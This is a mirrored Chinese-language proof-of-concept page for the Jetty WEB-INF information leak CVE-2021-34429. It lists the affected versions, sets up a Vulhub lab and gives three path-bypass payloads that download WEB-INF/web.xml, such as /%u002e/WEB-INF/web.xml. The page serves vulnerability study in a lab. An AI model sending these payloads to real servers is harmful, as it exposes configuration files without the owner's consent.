mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 20:06:03 +00:00
50 lines
1.3 KiB
Markdown
50 lines
1.3 KiB
Markdown
|
# Jetty WEB-INF 敏感信息泄露漏洞 CVE-2021-34429
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Eclipse Jetty 是一个 Java Web 服务器和 Java Servlet 容器。
|
|||
|
|
|
|||
|
|
Jetty 9.4.40 修复了一个模糊路径信息泄露漏洞[CVE-2021-28164](https://github.com/vulhub/vulhub/tree/master/jetty/CVE-2021-28164)，CVE-2021-34429 是它的变种和绕过。
|
|||
|
|
|
|||
|
|
有 3 种类型的有效载荷可以泄露以下内容`WEB-INF/web.xml`：
|
|||
|
|
|
|||
|
|
- 基于 Unicode 的 URL 编码：`/%u002e/WEB-INF/web.xml`
|
|||
|
|
- `\0`有`.`错误：`/.%00/WEB-INF/web.xml`
|
|||
|
|
- `\0`有`..`错误：`/a/b/..%00/WEB-INF/web.xml`
|
|||
|
|
|
|||
|
|
参考：
|
|||
|
|
|
|||
|
|
- https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
|
|||
|
|
- https://xz.aliyun.com/t/10039
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
9.4.37 ≤ Eclipse Jetty ≤ 9.4.42
|
|||
|
|
10.0.1 ≤ Eclipse Jetty ≤ 10.0.5
|
|||
|
|
11.0.1 ≤ Eclipse Jetty ≤ 11.0.5
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
Vulhub执行以下命令启动 Jetty 9.4.40 服务器。
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
docker-compose up -d
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
服务器启动后，访问`http://your-ip:8080`查看示例页面。
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
`/%u002e`unicode解码为：
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
直接访问`/WEB-INF/web.xml`将会返回404页面：
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
使用`/%u002e`来绕过限制下载web.xml：
|
|||
|
|
|
|||
|
|
|